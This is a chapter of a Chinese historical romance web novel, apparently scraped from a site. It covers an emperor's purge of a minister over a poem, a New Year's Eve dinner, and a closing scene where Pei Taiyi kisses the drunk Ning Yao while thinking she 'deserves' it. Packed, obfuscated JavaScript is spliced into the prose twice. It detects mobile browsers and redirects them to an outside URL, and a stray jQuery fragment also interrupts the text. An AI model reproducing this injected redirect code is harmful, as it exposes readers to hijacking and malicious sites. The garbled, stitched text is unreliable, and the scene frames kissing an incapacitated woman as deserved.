与此同时,姬璟当晚染上重病,跟先帝前后脚暴毙。而他全家人也均都死于非命。太子妃和侍妾全落水淹死,刚出生的小皇子也咽了气。府里着了火,上百名仆役全都活活烧死。 因此民间一直流传着一谣言,是姬醇为了皇位毒杀了他的亲哥哥。 而这件事也成了姬醇心中不可言说的一根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385470|152801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺。 如今圣上一宿一宿不能眠,一入睡便噩梦缠身,多半也是害怕自己残杀的手足前来索命。 “嘴巴闭紧点就是了。”徐力提醒道。 “明白了明白了。”徐谦叠声应道。 徐力抬头看天,一片纯白的雪花如鹅毛轻飘飘地降落在大地上。 “今晚怕是要降雪了,”徐力道:“每逢年关,万岁爷都喜怒无常,今晚又有得忙了。” 过了酉时,宫中灯火一盏接着一盏亮了起来。 文武百官依次陆续入席,台上一派歌舞升平。 姬醇所坐的龙椅之下,又分设了两个席位。右手边为他的爱妃和爱妃怀抱中刚出生的小皇子姬午,左手边便是九幽司指挥长裴台熠。排位以左为尊,裴台熠的位置甚至比皇子还高,姬醇对他的器重可见一斑。 姬醇慈眉善目地与裴台熠一同饮酒。 裴台熠敬酒,“陛下保重龙体。” 姬醇却笑了起来,道:“台熠,以前你可都是叫朕‘达达’。” 裴台熠道:“臣不敢。” 幼年时裴台熠被养在姬醇身边。 刚会说话的孩子咬字不清,不会叫“爹爹”、“干爹”,便叫姬醇“达达”。 “转眼你也这么大了,是不能这么叫。”姬醇道,“你婚事定了没有?” 裴台熠道:“未曾定下婚约。” 姬醇道:“今日宴上也有女眷,可有中意之人?” 裴台熠没抬眼皮,淡声道:“没有。” “瞧都不瞧一眼,就说没有,看来是心里已经有人了。”姬醇笑着道。 这回裴台熠没否认。 姬醇脸上的笑略略有些凝固。 裴台熠是他手中一把最好用的刀。 可若这把刀有了自己的意识,就不快了。 姬醇:“台熠,你可是想婚事自主。婚事自主,朕这个一国之君都做不到,你若是想,那可要非常努力争取才行。” “臣不敢。”裴台熠道。 “越说不敢,越是敢。”姬醇笑道,“今日除夕,不说有的没的。赏吧。”说罢太监捧上御赐锦缎珍宝。 宴会继续进行,皇帝请众爱卿赋诗。 每年到这个环节,群臣都会战战兢兢。 姬醇生性多疑,没人知道诗句中的哪个词,哪个字眼,就突然触犯了他的逆鳞。 各位大臣在诗歌中歌功颂德。 赞姬醇为古今第一明君,得此天子乃万古之幸事。 忽地姬醇读到一封赞诗,勃然大怒。 这首诗为大理寺卿贺鹏所作,其中有这么一句—— “煮豆寄乡思。” 姬醇太阳穴突突跳动,双目充血。 煮豆寄乡思? 煮什么豆? 红豆绿豆王八豆? 这分明是化用了曹植的名诗—— “煮豆燃豆萁,豆在釜中泣,本是同根生,相煎何太急。” 贺鹏是在隐射残杀自己的皇兄。 大厅内一片哭哭啼啼。 贺鹏今年已六十有二,是告老还乡的年龄。 他为自己解释,诗中的豆是指他家乡所产的芸豆。 他少小离家,在京城居住多年,十分思念家乡和童年时常吃的炖芸豆,绝无隐射之意。 姬醇下旨,裴台熠领命去办。 阴冷刺骨的地牢里,贺鹏蓬头垢面,对前来提审的裴台熠道:“裴台熠,我不信你不知道老夫无罪。老夫我为官数十载,未曾做一件伤天害理,劳民伤财的恶事。且不说老夫今日贺诗中绝无半点隐射之意,纵使老夫的确含沙射影了,难道就真的罪当诛杀?” 等裴台熠从地牢出来时,已是戌时。 他在铜盆中净了手,默了片刻,令属下给他送来贺鹏家中遗物。 说起来贺鹏也算是个二品大官。 家中竟一贫如洗,家徒四壁。 账本里十两银子就算是一笔大额支出,最近一笔开支,是给刚出生的小孙一两白银压岁钱。 裴台熠静静看完,将账本烧了。当晚贺鹏家挂上黑灯。但院里却并没有家眷,老老少少全都已提前离开。经过路人见贺鹏家也倒了,无不为贺鹏哀悼,叹如今世道之艰,爱民如子的好官也不得善终,只有裴狗这奸佞当道,如日中天。 * 年间炮竹声声声入耳,已是戌时尾声,各家各户的年夜饭都该吃完了。这会儿小孩都奔出来点二踢炮、放烟花。 裴台熠踏着满地鞭炮往家的方向走去,到了院前见墙角蹲了个穿粉衣的少女。 宁窈提着灯笼,正在他家门口逗弄那张大虎崽崽。她不知在这儿等了多久,似乎脚有些冷,时不时原地蹦跶两下,暖了暖身子。 他顿时停下了脚步。 总觉得不该再往前走了。 就像做梦一样。 在美梦里,最欣喜开怀的时刻,就是梦境要结束的时刻。 再往前一步,就要一脚踏空了。 “你回来了!”宁窈突然扭头瞥见了他,笑盈盈地朝他跑了过来,“走吧走吧,快去我家吃年夜饭,我姆妈等你好久啦!” 20. 吻在她唇上 裴台熠被宁窈连拉带拖着,走进了她的小院,一股扑面而来的暖意将他包裹住。 宁窈住的小院不算裴家最奢华的院落。 甚至在几位裴家姑娘里的院子里,数她的院子最狭窄逼仄。 但宁窈就是有将自己的小日子过好的本事。 她将这小院拾掇得整齐又干净。 一进院便是一处花圃,养着腊梅、常青树和常青灌木丛,白瓷花瓶里插着一束火红盛放的芍药花。 屋外三九寒冬,漫天霜雪,屋内却暖意融融,仿佛春日从未离开过。 他来得有些晚了,屋里四角已点上灯,饭菜也都烧好,正在厨房大铁锅里热着。 宁窈将“裴吉”安顿正堂,便又跑去厨房帮姆妈端菜。 “他就是那侍卫吧?”姆妈一把将她拉住,神秘兮兮地问她。 “啊?什么侍卫……”宁窈端着食盘,低头跟姆妈充傻。 姆妈可是过来人,她冲外努了努嘴,道:“就外头那个,可是你说的,什么侍卫?” 宁窈脸涨得通红,结结巴巴道:“他啊……他就是我一朋友。之前不是说好了么,要请他来家里吃年饭的。他之前帮过我们好几次,一直没谢过人家。他家也不在京城,过年没处去,我就想着,叫上他一起。” 姆妈听着宁窈此地无银三百两的辩解,直笑,端起砧板上的红烧肉,道:“那小伙子,我瞧着……” 宁窈耳朵立刻竖了起来,聚精会神地仔细听姆妈对“裴吉”的评价。 “我瞧着,不错。”姆妈说,“样貌挺俊的,正派人的长相。他还是个练家子吧?身板也不错,看着挺扎实。” “姆妈,”宁窈脸更红了,“你别笑话我啦。” 姆妈说:“男人得挑身板子结实的,你成了亲就知道。” 宁窈和姆妈在厨房里忙活,裴台熠跟宁晓两人在正堂的八仙桌前大眼瞪小眼。 宁晓虽认得裴台熠,还吃过他买的糖。 但毕竟跟他还不熟,有点怕他。 裴台熠对宁晓这个白毛小丫头倒也无所谓。 就当是宁窈的小妹。 但宁晓一双黑黢黢圆溜溜的眼睛一直盯着他看,叫他有些不自在。 他便开口打破僵局,道:“不记得我了?你小时候,我还抱过你。” 这么大的点的豆芽菜。 什么时候不是小时候。 宁晓眨巴眨巴眼,见姐姐还没从厨房里出来,便问裴台熠:“你是不是喜欢我姐姐。” 裴台熠闻言,扬了扬眉。 还挺人小鬼大的。 他从不耻于表露心境,并且认为心口不一的人是懦弱之人。 所以他并不否认宁晓的猜测,淡色的嘴角勾出一丝似是而非的笑,反问道:“怎么,不让?” 宁晓平日除了姆妈和姐姐,连说话的人都没几个。 哪儿比得过裴台熠心机深重。 她立刻被带了进裴台熠挖的坑里。 全然忘记是自己在问裴台熠,而不是她被裴台熠盘问。 宁晓很努力地思索片刻,鼓起腮帮子,说:“那你要对我姐姐很好才行,我姐姐是天底下最好的姐姐。” 这不是废话? 谁不希望别人能对自己所爱之人好。 但是许多事可不是心眼好,就有好报。 若缺乏相应的能力和手腕,越心好反倒容易遭人利用,酿成苦果。 裴台熠今日心情不算太坏,接着反问:“我就欺负你姐姐了,你想拿我怎么样?” 宁晓哪里想到裴台熠竟然会这么说。 她愣了愣,然后信以为真,脸涨得通红,然后像只小狮子似的用脑袋冲裴台熠撞过去。 “不许欺负我姐姐!” 可惜她个儿矮,才到裴台熠的膝盖。 裴台熠轻飘飘伸出一根手指,就直接戳她脑门上,叫她进退不得。 宁晓急得满脸通红,愤愤道:“你是个坏人。” “今日你说了这么多句,这句总算是说对了。”裴台熠似笑非笑,“道若是你真不想你姐姐被人欺负,你就要自己有本事。” 宁晓停了下来,瞪着圆润的眼睛,若有所思。 “开饭了开饭了。”这时姆妈和宁窈从厨房出来,端着热腾腾的饭餐。 “姐姐!”宁晓嘴巴一瘪,扑进宁窈的怀里,指着裴台熠道:“他欺负我。” 裴台熠:“……” 行。 他还小看这小妮子了。 还以为是个傻的,结果鬼精鬼精。 知道自己治不了他,就搬能治得了他的人。 宁窈当宁晓是童言无忌,笑着摸了摸她的头,道:“洗手吃饭。” 一张八仙桌坐满了人,家中的小侍女们也都一起上桌。起初几位婢女因为裴台熠在,放不开,但真吃起来后,也就把她们伟大的裴大人给忘记了。 太香了。 吃饭时,姆妈拉着裴台熠说起家常:“小裴啊,你家有几个口人,每个月多少俸禄?”宁窈又闹了个大红脸,道:“姆妈。” 裴台熠也不恼。姆妈问什么便答什么。他每月的俸禄还真没个数,经他手的钱是花不完的。他便按照九幽司的工种,给自己胡乱按了个数目。 姆妈听了直咋舌,道:“原来在九幽司做事这么赚钱呢。” 裴台熠道:“毕竟搜刮的是民脂民膏。” 姆妈道:“话也不能这么讲。九幽司杀了不少贪官,那些人就该杀。” 宁窈有些意外“裴吉”每个月俸禄这么高。 她怕“裴吉”是在跟姆妈说假话讨姆妈欢心,便趁姆妈转身添饭时小声说:“我姆妈不看重钱的,她看人的品性。” 裴台熠筷尖戳了一块炙烤牛腩。 心道,那还不如看钱。 每年年夜饭,包饺子和炸肉圆是宁家的重头戏。 以前父母在时,他们一家人每年都会一起做。 她爹爹是征战沙场的大将军,娘亲是名门闺秀第一医女,但只要到了这天。他爹爹就会脱下厚重的铠甲,换上绣花小围裙,陪着她娘亲洗手作羹。 她还记得有一年,她本来在外面堆雪人,忽然觉得冷了,从外面跑进屋,就看见娘亲和爹爹在窗下一边包饺子,一边说悄悄话,正说到好笑的地方,娘亲笑了起来,爹爹便低头亲她。娘亲被亲后看到她在门口,忙红着脸推了推爹爹,说:“孩子在呢。” 她那时也不懂事,飞快地朝爹爹和娘亲奔了过去,直叫嚷着:“我也要亲亲我要亲亲。” 于是娘亲和爹爹便一起将她抱起来,一人亲她一边的脸。 这一幕成了宁窈对琴瑟和鸣,举案齐眉的夫妻生活,最具体的幻想。 “没别的围裙了,”宁窈翻找了一圈,没找到素色的围裙,只得递给“裴吉”一身绣花带荷叶边围裙,还是跟宁晓的款式相同。 “裴吉”接了过去,也没说什么,就将围裙系上了。 姆妈端来肉馅和面团,宁窈熟练地用筷子将面团分成小块,“饺子和肉丸要现做才好吃。裴吉哥哥,你以前包过饺子吗?” 裴台熠还真弄不明白这玩意儿。 宁窈见裴台熠拿面皮的动作生疏又笨拙,噗嗤一笑,故意挤兑他道:“你去跟小晓坐一桌。” 裴台熠睨了宁晓一眼。 宁晓包的还真比他整齐。 宁晓有些得意,故意将自己包好的饺子,放在裴台熠失败的丑饺子旁。裴台熠磨了磨牙。 宁窈见裴台熠又包破了一个,便放下自己手中的面团,教他:“不能放这么多馅儿,会捏破的。你看我的,” 她的手指擦过了他的手背。 他们的手上全是微湿黏腻的面糊。 当宁窈的手指滑在他指上时,叫他分不清那甩不掉的黏腻的触感,究竟未干的面糊,还是宁窈柔软指尖的触感。 她叫他看她的手法。 但他的眼睛却情不自禁地落在了她的面颊上。 她的侧脸被暖橘色的灯照着。 面颊白如暖玉,几乎能看到光洁前额上一圈细细的金色胎毛。 纤长的睫毛随着她说话声轻轻颤,每一抖动,就洒落下一层细碎的金光。她的手指仿佛会法术,让无形的面皮乖巧听话,任她捏圆了又搓瘪。 一只栩栩如生的金元宝,诞生在他的手里。 裴台熠有些愣神,仍不知道怎么就包好了。 “这个是你包的,到时候你吃这个。”宁窈又拿来了筷子,在给他的这只饺子上做了标记。 “我也要我也要。”宁晓叫了起来。 “好,小晓也有。” 于是宁晓用筷子分别沾了青色的酸梅枝,和红色的腊梅枝。“点红点的饺子是小晓的,点绿色小点的是‘裴吉’哥哥的。” 饺子下锅煮,多余出来的馅料加入藕丁、荸荠,团成肉丸子下锅油炸,院子里很快充满肉香。 “嘭……”一串串烟花在头顶爆炸。 宁窈抱着宁晓在院子里看烟花。 一转眼就是子时,空气里淡淡的硫磺气息消逝,这个年就算过完了。 宁晓坐在椅子上垂着头,小脑袋好似小鸡啄米,一点又一点。 姆妈也频频捶着自己泛疼的腰。宁窈便叫宁晓和姆妈去睡,等哄好宁晓再出来,“裴吉”却还没回去。 他正在院子里帮忙劈柴,脱了外衣和披风,只穿一身黑色单衣。 宽广的肩撑起了衣服的肩角,肩膀处紧实有力的肌肉,在每次动作时紧绷出清晰的流畅的线条。看到那如山脉起伏的肩背,宁窈莫名想到姆妈对他的那句评价——“身体很好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但两人面前的茶盏早空了,只有裴台熠手里还有一只小水囊。 宁窈不疑有他,就将裴台熠的酒囊拿去喝了一口。 烈酒入喉,只觉得更涩。 “这水好辣……”宁窈晕乎乎地说。 裴台熠脸色骤变,他立刻抬手就托上她的下颌,“吐出来,那不是茶。” 那是酒。 甚至不是寻常的果酒、甜酒,而是浓度极高的烧刀子。 在阴冷地牢里,只有这么烈的酒才能驱寒。这酒普通男子喝一口都能倒,更不用说宁窈这种从没喝过酒的小姑娘了。 但宁窈已经将酒咽了下去,那酒从舌尖烫到了嗓子,她只觉得肚子快要烧了起来,头也变得沉甸甸的,眼前天旋地转。 “宁窈?” 她听到“裴吉”在唤她。 她双眼迷不愣瞪地望着眼前晃动的“裴吉”,突然咯吱咯吱笑了起来。她抬起小手,在“裴吉”鼻尖脸颊上乱戳乱点—— “一个裴吉哥哥,两个裴吉哥哥,三个……哎呀!别动,我要数错了。” 她在椅子上手舞足蹈,摇摇晃晃。 裴台熠不得不将她抱住,才不至于叫她跌到地上。 柔软的身体入怀,宁窈无力地头倚在了他的肩上。 带着酒香、青梅涩的香气,轻缓的从她唇中吐出。 宛若一片晶莹透亮的雪花,冰冰凉凉地轻飘飘地,降落在他颤抖的喉结上。 她的呼吸是冷的。 贴着他脖颈的脸颊皮肤是冷的。 但她却让他的小腹里烧起了一团灼热的火。 他的身体僵硬到微微有些发抖。 像一把已经彻底拉满了弦的弓。 下一瞬要么飞箭离弦,直入靶心。 要么弓断箭没,玉石俱焚。 他一只手扶着宁窈柔软如柳条的肩。 另一只手无声地攥成了拳。 他甚至能听到自己骨头折搓的声音。 太阳穴里的一根经脉突突跳动。 他压抑地发出了沉沉的喘息。 其实,他已经忍她很久了。 给了她无数次机会。 叫她走,让她走。 可她呢? 偏偏不听。 一次、两次、三次四次无数次…… 非要挤进来闯进来赖着不走。 所以,这些都是你自找的。 裴台熠恶劣地想—— 引狼入室。 养虎为患。 识人不清…… 这些都是要付出代价。 所以,真活该。 活该被他这样对待。 他轻颤的手,托住宁窈她小巧的下颌,将她的头抬了起来。 然后低下头,温柔地吻在了宁窈的唇上。